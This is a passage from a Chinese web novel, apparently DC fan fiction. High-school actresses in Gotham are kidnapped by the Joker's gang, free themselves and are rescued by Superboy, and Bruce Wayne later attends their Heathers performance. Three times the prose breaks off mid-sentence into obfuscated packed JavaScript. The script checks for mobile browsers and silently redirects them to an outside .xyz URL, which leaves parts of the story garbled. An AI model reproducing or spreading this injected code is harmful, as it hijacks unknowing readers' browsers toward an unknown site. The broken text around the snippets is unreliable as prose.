服装组的女老师对着秒表:“3,2,1,开始!” 女生们还是第一次实战,都害怕赶不上这四十秒的死线,难免动作急切了些。 被五个女生一起扑上来扯衣服...... 还有个老师在旁边催“快快快”...... 这种事实在是太怪了点吧!!! 好不容易等她练到脱敏,再也没有一点羞耻心,服装组的女生们终于扒衣服扒熟了。 忙了一下午,又遭到如此这般精神上的摧残,卡里亚和利贝嘉汇报过任务,确定暂时没自己什么事儿了,毫不犹豫地溜到女休息室摸鱼。 学生们只在剧院里演三天,剧组没特意给他们安排固定位置,看休息室里哪儿有空位,随便坐就行。 卡里亚进门时,已经有人坐在边上的位置,是剧组里另一位要做快速换装练习的莎莉·康,也是一脸被榨干的表情。 她正在拿勺子往嘴里送什么黑糊糊的东西,手上的瓶子看起来相当眼熟。 这熟悉的汉字.....熟悉的配色.....熟悉的花纹..... ——不就是斯蒂芬妮送的神秘东方小甜膏! 她观察片刻,主动搭话。 “原来这个是直接吃吗?” 莎莉没想过会被问这个问题,但还是下意识回答道:“是的,含在嗓子口让它自然滋润就好了。” “我还以为是泡水喝的呢。” 莎莉:“......”这就是外国人的思维吗! 不过卡里亚能主动找她说话,倒是让莎莉如释重负不少。 在那天卡里亚给其他人上了一课之后,她心里总有一种挥之不去的尴尬。 她当时想着能不能两人一起联手击破西奥妮等人的小算盘,现在看来何其可笑。 西奥妮她们的那种小手段根本撼动不了她的地位,人家跟他们这些庸才压根儿就不是一个境界。说不定卡里亚本来没把这点小事放在心上,自己这样告密,搞不好还会在对方心里被贴上小家子气和拨弄是非的标签。 见卡里亚一脸兴致勃勃找她讨教的样子,莎莉心中大大松了口气。 莎莉化身中华优秀物质文化遗产推广大使:“泡水喝的话效果就不那么好了,可能你第一次尝不太习惯,但这个对嗓子真的很好。” “味道是可以啦,但这样消耗起来不会太快了吗?” “这个在唐人街就有卖,中药店一般都有。我们留学生在rednote上有一个购物群,我可以邀请你——” 说到兴头上的莎莉想到群组名,突然猛咳了一下。 “那里面的发言可能.....呃,对一些音乐剧爱好者不太友好。”她眼神乱飘,“以防万一我先问一下,你是怎么看待《西贡小姐》的呢?” 西贡小姐,由《悲惨世界》主创团队制作的音乐剧,因为其有毒的剧情遭到许多亚裔的抵制。 具体有多毒呢,光看剧情简介就知道了: 越/南/战/争期间的西贡市,一位美国士兵和一位越南卖身少女有过一段短暂的感情,后来士兵回到美国和本国人结婚,多年后再次来到东南亚时,无意间发现女主当年生下了和自己的儿子。 士兵和妻子商量后决定让母子两人留在当地,他们定期汇钱过来。可怜的母亲无意间听到夫妻二人的对话,为了让儿子“能去美国过上更好的生活”,毅然决定开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004665|177743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /枪/自/尽,把孩子留给他的亲生父亲。 能集白人傲慢、种族歧视、殖民主义等等毒点于一部剧里,某种意义上也是蛮厉害的。 莎莉原来在的国际艺术学校曾组织学生一起去新加波观看巡演,散场后0人表示喜欢这个剧,他们这些留学生的群组名因此得名“f**kmisssaigon”(去你大爷的西贡小姐)。 亚裔大力抵制,奈何有不少白人,尤其是美国白人男性喜欢这部剧。 谁会指望他们能感同身受被侵略者的屈辱呢? 莎莉不会当面和人抬杠,但喜欢《西贡小姐》的人会被她自动排除在社交圈外。 哪怕是所谓的天才演员也不例外。 面对这试探性的问题,卡里亚几乎是毫不犹豫,笑眯眯地将自己的看法脱口而出。 “我认为那完全是一部中年白/皮/公/猪的意/yin之作。” 莎莉:“.......” 莎莉:“同志!!!!” 爱好或许不能让两人成为朋友,但说坏话一定可以! ***** 因为对《西贡小姐》的共同厌恶,卡里亚和莎莉,这两位戏份最多的女演员,一下子拉近距离。 两人一下子就对上了电波,从吐槽《西贡小姐》到讨论神秘东方小甜膏,越聊越上头,颇有点惺惺相惜相见恨晚的意思,差点就忘记排练结束时间。 两人急匆匆跑到淋浴室时,那里已经被其他演员占满了,她们到最后才用上。 因为脸上带着试妆,清洗又花了不少功夫,等吹干头发出来时剧院里的人基本都散完了。 莎莉此时还沉浸在找到知音的快乐里,在下楼时兴奋地说道:“对了,咱们俩交换下联系方式吧,等放暑假了我要去旧金山的唐人街,想要什么我可以带给你!” 说着她就去找手机,但左口袋摸摸右口袋摸摸,愣是没找到半点踪影。 卡里亚和她一起努力回顾今天的路线,推测应该是放在了舞台侧翼的更衣室里,换装练习时忘记的。 结果正如她们所料,手机就放在更衣室的桌子上。 临走时,莎莉看到舞台方向隐约有亮光透出,好奇问道:“是工作人员忘记关灯了吗?” “那个叫幽灵灯(ghostlight),是留给剧院里的幽灵们的,让他们在午夜时尽情表演,这样就不会破坏舞台上的道具了。” 卡里亚掀开帘子:“你看——” 舞台中央,那盏幽灵灯孤零零地亮着,可并不是如她所想的耀眼白光,而是一种令人作呕的惨绿色。 幽灵灯旁边站着一个人,扭曲的影子长长投射在舞台上,证明他是个有生命的人。 但遇见这个活人比幽灵还要糟糕。 他的脸上涂着油腻的白粉,眼窝深陷,血红的嘴唇被撕裂般地咧到耳根,露出不像是人类的笑容。 “二位小姐,不知道现在是放学时间吗?” 他的身后,戴着小丑面具的打手们无言地站立着,目光紧盯两个误入陷阱的女孩。 9. 自救 “咚!” 瘦削的打手粗暴一推,被铐住手脚的两个女孩子跌坐在地上。 小丑发出咯咯笑声:“唉,说起来我们还算是同行呢——小丑和演员,都是为了观众而存在的。但很可惜,我要忙着给这出好戏准备道具,还请你们二位在后台等上一会儿了。” 话毕,他转身离开,身后的手下关门上锁,更衣室内一片漆黑。 卡里亚在脑海中重播刚才看到的最后一幅画面。 小丑帮的混混们正在对舞台上的道具进行改装,观众席上似乎也有几个在蠕动的影子,参考以往的新闻报道,大概是在安装炸/弹或者笑气毒气一类的玩意儿。 剧院这种人员密集的地方,向来是阿卡姆的疯子们喜欢下手的场合,有布鲁斯·韦恩出席的演出就更受青睐了。 隔三岔五炸一次,哥谭市的剧院们早就被炸出经验,演出期间会有荷枪实弹的保安巡逻,剧院里空气净化系统什么的也都安排上,确保万无一失。 但是谁也没想到,犯罪分子竟然也跟着进化,选择了提前潜入。 这几天剧院忙着从各处接收道具和人员,学生项目人多眼杂,这才被小丑之流钻了空子。 又是一起经典的袭击事件,在哥谭算不得新鲜事,连头条都上不了。 卡里亚表示适应良好,要不是因为饥饿感太明显,她现在还能趁着黑暗睡上一觉。 但旁边的莎莉就没这么心宽了。 成长在治安良好的禁/枪/国/家,这还是莎莉头一次如此近距离地接触到歹徒。 面对持械罪犯的恐惧,还有身处黑暗、感官被剥夺的恐惧,让她抖如筛糠。 她咬紧嘴唇,努力战胜恐惧,声音颤抖着开口:“卡里亚.....你,你说,会有人来救我们吗?” 卡里亚想想道:“大概率是蝙蝠侠,罗宾或者搅局者等人吧,救是有人救,但什么时候来就不确定了。” 莎莉:“不对吧,这里的警/察呢?” 卡里亚:“哦,他们最大的作用就是开蝙蝠灯召唤蝙蝠侠。” 莎莉:“......f**k!”这就是自由美利坚吗?! 莎莉病急乱投医:“那如果我们大喊超人救命,能把他喊过来吗?” 卡里亚:“不好说,可能在大都会有点用,但在哥谭基本没人成功过。他总不能成天监听哥谭吧。” 莎莉崩溃道:“所以我们现在就只能祈祷了吗?” 卡里亚:“唔,倒也未必。我们这么久没出来,司机应该会发现不对劲的。” 莎莉:“太好了,那——” 卡里亚:“但他现在有可能被杀了。” 莎莉:“.......” 莎莉觉得自己快哭出来了。 卡里亚又想了想道:“这个时候对我们俩下手,肯定会引起其他人的警觉,搞不好演出会直接取消,按照常理来说,我们暂时是安全的。” 莎莉重燃希望之火:“是吗,就是说我们俩——” 卡里亚:“但对面是阿卡姆出来的,不好用常识揣度。” 莎莉:“......” 心情大起大落几个来回,莎莉觉得心好累:“那你们哥谭人碰到这种事一般是怎么做的?” 卡里亚:“乖乖呆着不动,尽量降低存在感。” 莎莉:“天呐,终于有个靠谱的——” 卡里亚:“不过也不一定就安全了,可能我们会被当成肉盾人质呢哈哈哈哈。” 不要把这种恐怖的事随意说出来啊! 而且不要在这种时候展现你们哥谭人的松弛感啊! 莎莉彻底无语了。 片刻后,她疲惫道:“......我要开始喊超人救命了。” “他不一定听得到哦?” “总比什么都不做要好。Supermanhelp!Supermanhelp!” 卡里亚被这种逆境中坚持自救的精神深深感动:“那我也来!甲壳虫汁(beetlejuice)!甲壳虫汁!甲壳虫汁!” “?甲壳虫汁是什么?” 卡里亚:“阴间的大法师,喊三次他的名字就能让他复活,然后他会带着幽灵大军重返人间。” “......不不不,这不是比小丑袭击剧院还糟糕吗!” 莎莉疲惫地阖上眼睑。 此刻她终于确信了一件事。 去他的什么天才演员,去他的什么人生简单模式的白女,卡里亚·穆瑟尔单纯就是个缺心眼子的! 这时,耳边忽然传来一声轻微的金属碰撞音。 “太好了,找到了。” “找到什么了?” “别针,大概是服装组的人掉在地上的。这个手铐是便宜货,还蛮好打开的。”服装组这几天还没完工,换装间里留了不少能用的东西。 莎莉一口老血哽在喉:“你怎么不早点说?!” “又不确定一定就有,我也是摸到现在才找到的,这不是怕你希望又失望嘛。喏,把手伸过来。” 顾不上嫌脏,卡里亚用嘴把别针咬直成金属丝,靠着核心力量跌跌撞撞站起,在黑暗中摸索到了莎莉的手铐锁孔。 这种老式锁她在前世就见过,剧团里的魔术师经常要她配合演出,她因此学会了一点入门技巧,没想到还能用来保命。 卡里亚捣鼓几下,咔哒一声,锁开了。 她又重新蹲下,有了莎莉握住她的手,这次她更快地找到了她脚上的镣铐,轻松解开。 双手双脚得到解放,莎莉差点喜极而泣。 但随即她想到了一个严重的问题。 她不会开锁! 而且刚刚被绑架时两人的手机都被收走了,也没有报警的手段。 怎么办?怎么办? 要出去吗?还是乖乖留在这里不动?剧院里有没有紧急报警按钮来着?要是这个时候突然有人进来,看到她的手铐被解开,会不会惹怒罪犯? 莎莉努力想要理清头绪,但越是思考,心里的害怕就越是加剧。 她甚至感受到被攥住心脏的窒息感,在黑暗中封闭了太久,突然感到一阵头晕目眩。 “莎莉。” 卡里亚扯扯她的衣服。 或许是因为死过一次,面临这种命悬一线的险境,她冷静得连自己都觉得有些不可思议。 “还记得你刚才说的,总比什么都不做要好吗?” “嗯、嗯。” “我们现在不能出去,因为不知道有没有人在走廊上巡逻,放你一个人走也太危险.....”卡里亚冷静分析,“但我们可以做些力所能及的事。你也讨厌这些人渣对吧?” “嗯,超级讨厌。” “哪怕我们今天无法得救,是不是至少也得给他们添点堵?” “嗯!”莎莉像是找到了可以依靠的主心骨,语气中渐渐有了活力。 “不到最后都不能放弃?” “没错!” “那么,扶我站起来,我们一起去打开房间里的熨斗!” 莎莉瞬间领悟:“因为这是我们现阶段能掌握的最有杀伤力的武器!” 莎莉的心中涌现出一阵激动。 她们不敢开灯,怕漏出的光引起外面歹徒的注意,只能两人互相搀扶着,在黑暗中小幅度地慢慢移动,终于在墙角找到了目标物。 卡里亚在家里也会做熨衣服的活,不多时就顺利打开了开关。 剧组的熨斗功率比家用的更大,散发出的蒸汽吹热了两个女孩的皮肤。 五月的哥谭天气已经初显闷热,但谁都没有心情去顾虑这点不适。 卡里亚让莎莉握住熨斗,自己则在桌上找到一把剪刀,紧紧攥在手中。 就在两人开始觉得肌肉酸累时,门外忽然响起一阵喧嚣。 卡里亚她们不敢出去,但长期的音乐训练让她们隐约分辨出了一些说话内容。 “红罗宾”“搅局者”“变装”..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018563|177743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吵闹的声源逐渐变得杂乱,在其中有一阵脚步声由远及近,似乎有人在向这里跑来。 两个人质不自觉地弯曲膝盖。 “咣”地一声,一个持刀的壮汉撞开门,大喊道:“现在放我离开,不然我就把——呃啊啊啊啊啊!” 卡里亚和莎莉先发制人,飞扑上前,靠着本能胡乱地一下下砸去:“你别过来啊!!!” 肉被烧焦的糊味在空气中蔓延开来。 在壮汉被砸成重度烧伤前,一只手把满身烫伤的壮汉捞起。 “停停停,我看是他想说别过来吧。” 戴着墨镜的黑发男生嫌弃地把壮汉丢到一边,就像是丢垃圾一样简单。 莎莉和卡里亚有点呆愣地看着他拍拍皮衣的衣角,不经意地露出胸前的S标志。 康纳·肯特对这种反应习以为常了。 一般情况下,下一秒应该就是女生们的激动尖叫,外加合影要求。嗯,要个签名也不是不可以。 但他眼前的两人显然不属于一般情况。 成长在红旗下的莎莉心想:原来传闻都是真的,阿美利卡真的要靠和她们差不多大的孩子维护治安,这个国家真是没救了。 卡里亚则是嘴巴张大:“你是甲壳虫汁吗?” 莎莉:“不不不,这个配色还有这个S标志,肯定是和超人有关的吧!” 康纳:“……你们就没人听说过超级小子吗?!” * 蒙面义警又一次打击了邪恶,小丑帮被逮捕归案。因为有康纳的支援,这次的行动结束得快速且顺利。 先前帮提姆解决了麻烦,眼下康纳正在带他前往少年正义联盟的下一个任务地点,那里需要提姆的黑客技术。 但完成使命的康纳看起来并不开心。 康纳:“你觉得我像甲壳虫汁吗?” 不等提姆作出反应,他又自顾自道,“不像啊,一点都不像,哪个角度都不像!” 他把手机里的电影剧照怼到提姆脸前:“看看,这油腻腻的绿头发,死人一样的涂了白粉的脸,还有像是从神经病院里刚逃出来的衣服!和我这样的美男子有半分钱关系吗!说是小丑还差不多!” 提姆挥挥手,把他赶到一边:“你直接去问她怎么回事不就行了。” “不要,我才不想让那个始作俑者觉得我很在乎这件事。” “那你就憋着。” 康纳“切”了一声,终于安静下来,不去打扰提姆操作设备了。 安静半分钟后,他又突然问道:“哎,你不觉得这个甲壳虫汁长得像蝙蝠侠吗,尤其是脸型和下巴这块儿。” “……” 而在几百公里外的哥谭市沃克斯豪尔剧院,今天和红罗宾搭档的搅局者正在和两个人质交谈,确认她们是否受伤。 原来今天把她们带到房间关起来的瘦削打手就是搅局者假扮的,另外红罗宾也在,两人同时变装潜入,靠着互相掩护,没有被任何人怀疑。 也难怪她俩在更衣室里的行动会如此顺利。 莎莉的情绪终于平复下来,但脱险后,另一个问题摆在眼前:“你说我们这个剧还能继续演吗?” 按照她的想法,出了这么大的事,剧院至少得歇业几天,停业整顿才是。 但她显然低估了哥谭市的阿美利卡特色国情。 “当然要演啦。”卡里亚面色轻松,“哥谭市的罪犯们挑选地点,就像狗标记地盘一样,有人挑过的地方暂时就不会有罪犯再来了。” 一方面是因为这样有抄袭同行创意之嫌,另一方面也是为了给哥谭市休养生息的空间,从而达到可持续性的竭泽而渔。 卡里亚:“等哥谭市的各类地点差不多都被祸害过一轮,下一次剧院被袭击得是好久之后了。不如说现在就是剧院最安全的时候,此时不演更待何时!” 莎莉:“……” 等这次演出结束,她这辈子都不会再来哥谭了。 太狂野了。 10. 好戏开场 五月十一日,母亲节周末,开演之夜如期而至。 沃克斯豪尔剧院门口挂上《希德姐妹帮》logo的海报,下面还印有韦恩艺术教育基金会的大名,感谢金主daddy的大力支持。 时值傍晚,离演出开始还有段时间,但剧院门口和后方停车场已经人声鼎沸。 来看演出的,大多是学生们的亲朋好友,拿了免费的赠票来捧场;也有少部分本地的音乐剧爱好者是自掏腰包,20美元一张剧票,哪怕今晚演出质量不尽人意,享受下剧院的豪华座椅和顶级设备也值了。 导演在顶楼办公室眺望剧院外的人来车往,隐约看见远处的公路上来了辆特别醒目的亮紫色轿车,赶紧走到镜子前,确认仪容仪表得体适宜。 剧院经理看到平时不修边幅的老友如临大敌的表情,失笑道:“别紧张,vip包厢我们一早收拾好了,保证那个基金会的负责人挑不出错。” 导演边整理领子边道:“我不是担心你们,是那个死胖子太傻【哔—】了,每次跟他说话我都感觉要气出高血压。” 经理很好奇:“他不给你们结尾款?” 导演:“钱倒是很大方,主要那个负责人是外行,啥都不懂还乱挑刺,烦得要死。” 经理:“不至于吧,让外行人来当部门领导,我还以为只会在英/国/政/府发生呢。” 导演:“那家伙是个富二代,他父母是韦恩先生的合作伙伴,说是给他找个班上别在家里祸害人了,结果就跑来祸害我们这些底下的人。当时我交音乐剧选题的提案上去,你猜那个傻【哔—】怎么说的?” 不等经理答话,导演继续自顾自道:“一开始,我选的是《音乐之声》,结果那家伙说我选的太老掉牙,不符合基金会的风貌;后面我又选了《芝加哥》,结果那狗东西说这剧三观不正,还有其他杂七杂八一些提案,全都给我否决了!” 经理很惊讶:“那《希德姐妹帮》这种邪/典cult主题的怎么.....?” 导演冷笑一声:“他说''青少年爆/炸/犯被爱情感化,放下屠刀,这正是哥谭市需要宣传的价值观'',结果选了这部。搞半天他只看了剧情简介!” 经理:“.....” 经理一言难尽地看向手边办公桌上的节目册,顺手翻到曲目列表一页。 《我爱我的死/基/佬儿子》(Ilovemydeadgayson);《一个行尸走肉的女孩》(deadgirlwalking)..... “但凡他多看一眼歌曲名,也不至于选了这么个.....”经理喃喃自语道。 “到后面我也懒得管了,反正提案是他签字的,要出事也不怪我!” 导演自认问心无愧。 他做好了自己的本职工作,这部戏作为高中生音乐剧已经是绝对顶尖的水平。 如果到了这个程度,那些领导依然注重所谓“价值观”,忽视学生们付出的心血,那么韦恩艺术教育基金会还是早点关门大吉的好。 抱着破罐子破摔的心情,导演深吸一口气,扯着嘴角,露出他能做出的最热情的笑容,一路下楼,直到剧院门口。 然后,在那里,他看到了令他惊掉下巴的一幕。 那个基金会的死胖子,平常对着他都是鼻孔朝天,一脸别人欠他五百万的傲气样子,此刻竟然点头哈腰,小跑着绕到车的另一边,去给某人开门。 在哥谭,能让富二代谄媚到这个地步的,只能是—— “韦恩先生,您请!谢谢您今晚大驾光临!” 车门缓缓开启,一只修长的腿跨了出来,黑色皮鞋擦得锃亮。 穿着西装、身材紧实的高大男子弯身从车中出来,铂金腕表在这个被家庭suv和自行车占满的地方格格不入。 布鲁斯·韦恩,哥谭甜心,沃克斯豪尔剧院,甚至是整个哥谭市的金主爸爸。 导演还愣着,身后的经理更早作出反应,张开双臂上前迎接:“韦恩先生,您怎么来了也不和我们说一声!请进请进,今晚的vip包厢早就为您们准备好了!” 一胖一瘦的两人左右护卫,护着贵客穿过骚动的人群,走专用通道进了vip包厢。 直到几人的身影彻底消失不见,周围看热闹的人潮退去,导演才回过神来,失了魂似地走到剧院设置的吸烟处,猛吸了几大口烟。 基金会的负责人,说实在的,没人会把一个酒囊饭袋的话当真。 但如果是布鲁斯·韦恩,哥谭市、甚至是全美最有品味、最会鉴赏的花花公子,哪怕是他随口说一句“今天的剧就算以高中生的水平来看也太糟糕了”,都有可能让他沦为笑柄。 台上的都是高中生,没人会去责怪一群孩子。 那没演好怪谁呢?肯定怪剧组的成年人啊!你这个导演怎么当的! 想到这,导演突然被一团浓烟呛住,猛烈地咳嗽一阵。 好不容易能喘气了,他也没了继续逃避现实的打算,用吸烟室的空气清新剂给自己周身喷了一圈,推门离开,走员工通道来到后台。 此时的后台,高中生们都在集中精力开嗓,或者原地高抬腿、嘴里喊着“123123”热身,服装组和化妆组的人正在最后一遍检查妆造。 看到导演莅临后台,学生们齐齐停下动作,等待他发话。 导演尴尬地挠挠头。 “呃....虽然我昨天和大家说了,不用太紧张,把这次演出当成是在舞台上玩耍就好,但现在想想,还是有点不太准确的。” 导演按住微微颤抖的手,眼神扫过面色迷茫的学生们,“大家一定要全力,发挥出最好的水平,你们可是新泽西州最棒的高中生演员了!” 打气过后,导演仍是不放心,转头又到假发间门口,把刚喷完定型喷雾的卡里亚拉到一边:“穆瑟尔小姐,今晚的演出拜托你帮帮忙了,要是台上出了什么事,比如有谁忘了词或者忘了动作,你可千万帮着兜住一点。” 卡里亚·穆瑟尔试镜的场景还历历在目,这群学生里就数她心理素质最好,临场应变能力最强,她可是舞台上最后一道保险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029502|177743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 卡里亚也不负他所望,自信满满地拍拍胸脯:“您就放心吧,我肯定会尽全力让演出顺利进行的!” 临场应变这种事,她早就在上辈子的那些小剧场和歌厅里锻炼出来了。 就连同台的演员突然掉了颗牙她都见识过,还有什么意外情况是她应付不来的? ***** 在不远处的观众席,斯蒂芬妮和几位家人早早入场,坐到了一楼十排左右的好位置。 布鲁斯的包厢,他们肯定是不能去的——倒不是因为某人小气,主要是包厢是半开放式的构造,人人都能看清里面坐了谁,而蝙蝠家的孩子们不太想引人注目。 卡里亚送了斯蒂芬妮两张票,本意是让布朗家的母女俩一起来,但克莉斯特尔这周和一位家中突发急事的同事换班,手上的票临时空出一张。 提姆和杜克出于兴趣早就买了票,迪克和杰森要忙工作——蝙蝠侠赞同或者不赞同的工作——达米安年龄不到不可以看,阿福今晚要去听别的音乐会。 兜兜转转,这张票最后竟然被某个意想不到的人要了去。 康纳将胳膊搭在扶手,有点嫌弃道:“我还以为会给你们安排第一排的座位呢,结果竟然坐这么后面?” 斯蒂芬妮:“前排的都是给那些行业人士和一些政治人物,而且这个位置视野很好,免费的票就别挑三拣四了。” 康纳切了一声:“视野什么的无所谓,台上这些粗糙的东西也没什么特别的。” 台上那些学生们做的道具,以普通人的眼光来看或许还行,但对长期接触氪星技术的康纳来说就很一般了——油漆喷涂不均匀,一些地方还露出了钉子,哪怕用莱克斯集团最便宜的全息投影,效果都比这个好。 提姆很无语:“那你来这里干嘛? 康纳:“我来看看我英雄事业的成果不行吗?这些人今天能好端端地上台演出,台下的人能安心观看,难道没有我的一份功劳?” 杜克:“话虽如此——” “叮咚”开演提示响起,打断了观众席的嘈杂交谈。 剧场的报幕员用温柔的女声欢迎观众们的到来,以及惯例的“演出过程保持安静”“不要随意起身打扰别人”云云。 随着最后一句“谢谢您的合作”落下,剧场内的灯光一盏接一盏的熄灭,整个空间陷入黑暗。 两千多个观众,不管先前是在聊天还是在玩手机,此刻都静默下来,注意力全部集中在接下来要出现的东西上。 在黑暗中,观众只能听到周围人的呼吸声,潜意识感知到大家都在专注于同一件事,心中的期待不由更上一层。 “1989年9月1日,亲爱的日记! Sepetember1st,deardiary!” 强劲的电吉他声在观众耳边炸开,一束光打在舞台中央,先前空空荡荡的台阶上突然出现了一个穿着蓝衣服的女孩子,念出《希德姐妹帮》那段经典的开场白。 韦恩艺术教育基金会的年度大戏,正式开演! 11. 神级救场 这个出场简直就是大变活人的魔术,给了观众们相当不错的刺激,台下的人们开始欢呼鼓掌,欢迎女主角的入场。 蝙蝠家和康纳有着出色的夜视能力,轻松看穿了这个把戏:在刚才黑暗的几秒里,维罗妮卡的演员飞奔上台,靠着舞台地板上那些寻常观众看不见的荧光贴纸找到站位。 但即便如此,他们还是不自觉地被周围的热情带动,跟着给出反馈。 女主角维罗妮卡停顿片刻,等掌声弱下后继续说台词,告诉观众们这出戏的时间地点。 今天是开学第一天,而她在的小镇高中就是人间地狱。 那些她从幼儿园就认识的同学们,怎么长大后就变得面目全非了? 至于是怎么个面目全非,鱼贯而入的群演们下一句就给出答案: “怪胎!垃圾!懒鬼! freak!trash!burnout! 臭虫!装货!失败者! bug-eyes!poser!loser!” 骂人的话被编成歌,从这些面目狰狞的高中生口中蹦出,在剧院这样的高雅场所响彻全场,带着冒犯意味的反差让观众们哄笑出声。 vip包厢里的基金会负责人听到如此劲爆的脏话连击,差点一口气背过去——但看旁边布鲁斯·韦恩也笑出声,这口气又顺了过来,于是大发慈悲地决定放导演一马。 接下来的一段是维罗妮卡的“脑内小剧场”,维罗妮卡会向观众介绍这些出场的角色。 群演们就像彩排时做的一样,发挥了过硬的演技。除了维罗妮卡边走动边说词,其他人都静止不动,完美地出演了“时间停止”的效果。 维罗妮卡用诙谐的口吻说道:“兰姆,这位是球队的中后卫球员,学校最擅长打翻别人餐盘的人,蝉联多年校园王八蛋冠军。” 她指了指身边那个动作像狒狒的壮硕男生,“他是他们队里最聪明的那个了。” 这句台词引发了比刚才更盛大的笑声。 但是,笑过后每个人都隐隐感到了一丝悲哀:他们是跟着女主角维罗妮卡的视角来看这个故事,维罗妮卡口气中的伤感也传递给了他们;况且美国高中那些破事,在座的大部分人也都见过,有些人甚至亲身受害过,因此也就更加共情。 短短一分钟内,观众的情感就已经被舞台上的表演带出了好几种层次。 就连口味被各种好莱坞大片惯坏的康纳,也终于愿意在心里给出一个不错的评价:不靠特效,不靠后期,全靠演技和现场有限的设备,看来剧场这种老套的东西还是有点意思的。 伴随着电吉他的重复乐段,维罗妮卡的讲述还在继续。 学校里到处可见的欺凌现象,她因为处在食物链底端而被人推搡辱骂,每一天她都盼望着毕业好脱离苦海..... 在情绪被压抑到最极致的时候,维罗妮卡和群演们突然转换了唱腔,抛给观众一个新的问题: 在这样等级分明的小社会里,难道就没有如鱼得水的人吗? 谁会是食物链的顶端? 谁会是这学校的女王? 谁是众人羡慕的对象? 舞台的灯光忽地转变颜色,台上的演员们动作整齐划一地转身,单膝跪下,像是歌颂神明一样如梦似幻地唱道: “希德!希德!还有希德! Heather!heather!andheather! 我爱希德!希德!还有希德! Ilove!Heather!heather!andheather!” 配合着舞台灯夺目的亮粉色,干冰机制造的白气席卷了舞台,暖色调配合着阴冷的雾霭,给人一种危险又迷人的印象。 雾气散去,三个分别穿着红、黄、绿西装的女孩,傲然站在舞台中央。 《希德姐妹帮》的三个希德,正式登场! 三个希德,尤其是卡里亚的红希德,是那么亮眼,从服装到妆容都完美无瑕,理所当然地接受其他学生的朝拜,每一次落脚都踩在节奏上,最终来到舞台最前沿,向观众飞吻。 就像康纳说的,和好莱坞的各种巨制比起来,这里的布景堪称穷酸:整个舞台长宽不到二十米,道具是几个柜子,一些台阶,外加背景墙的简单喷漆。 但在卡里亚的脚下,却能让人恍惚间看见她带着两个小跟班,穿梭在学校的走廊、教室、楼梯,每走到一处,都会收到惊呼和敬畏的眼神,宛如百兽之王巡视广阔领土。 哪怕她此刻走下舞台,走到观众席里,也会不由自主地让人顶礼膜拜! 观众们为她送上如雷掌声,斯蒂芬妮的巴掌拍得尤其响亮。 而这也无形中成为塑造红希德校园人气女王形象的一部分,第四面墙被打破,台上台下形成了完美的互动。 到目前为止,主要角色基本全部出场。 导演在后台通过监控器看到了这一切,心中压着的石头稍稍轻了一些。 开场曲(openingnumber)可以成就一出戏,也可以搞砸一出戏。 这条规则在《希德姐妹帮》中尤为适用,因为这首不到十分钟的曲子承担了相当繁多的任务:介绍全体角色,揭露时间地点,奠定黑色幽默的基调,设定本剧主线事件..... 以及重中之重的,创造剧场内的观剧氛围。 一个好的开场曲能让观众忘掉现实,忘记他们刚才还在一个没有人动不动就唱歌的正常世界,接受“此时此刻,台上的人动作夸张地唱唱跳跳是一件很正常的事”这个设定,之后整场都能顺利入戏。 很显然,现在观众们的思维已经完全跟着台上走了,感官和情绪也已经被演出所操纵。 导演盯着监控器,听舞台监督发出指示,确认维罗妮卡顺利完成快速变装、十分钟的开场曲圆满结束,向后退几步,如释重负地瘫坐在椅子上。 开场曲的底子打好,只要保持现在这个状态,接下来的演出想必也能顺顺利利。 但他忘了,这里可是哥谭,必不可能让人称心如意。 高兴没几分钟,导演屁股下的椅子还没坐热,就听到外面传来一阵骚动,吓得他赶紧起来,到外面抓住一个路过的剧场引座员,从对方嘴里打听是怎么回事儿。 好消息,不是后台出问题,学生们和工作人员们都好好的。 坏消息,问题来自观众席。 现在的剧情是维罗妮卡加入希德姐妹帮后,和昔日好友的日常闲谈。经过了那样一个充满张力的开场曲,也得给观众的情绪一个休息时间,放松放松神经,调整调整坐姿。 但就是这个喘息的间隔,让少部分只是来看热闹外加拍照打卡的低素质人起了别的心思。 ——快看啊,vip包厢里坐的是不是布鲁斯韦恩? ——哇,这可比一个高中生音乐剧有话题多了! ——发到ins上肯定能有很多赞! 观众席里漆黑一片,这些人干脆开闪光灯拍照,哪怕工作人员用红外线激光笔照在他们身上,提醒他们禁止拍摄,也收效甚微。 因为这明显的干扰,一些本来没这个打算的人也被带动,抱着法不责众的心态,悄悄拿出手机偷拍哥谭甜心;更多的人则是和偷拍者起了争执,观众席的各个角落都有断断续续的小声吵架,甚至还有愈演愈烈之势。 好不容易营造起来的入戏氛围,一下子被破坏殆尽。 这就是现场演出的双刃剑。演员与观众之间能进行互动,甚至有时观众的反应也能成为戏剧表演的一部分,这是任何影像都替代不了的体验。 而这种特殊性的坏处也很明显,要是碰到了这种低素质的观众,整晚的演出都有可能被毁掉。 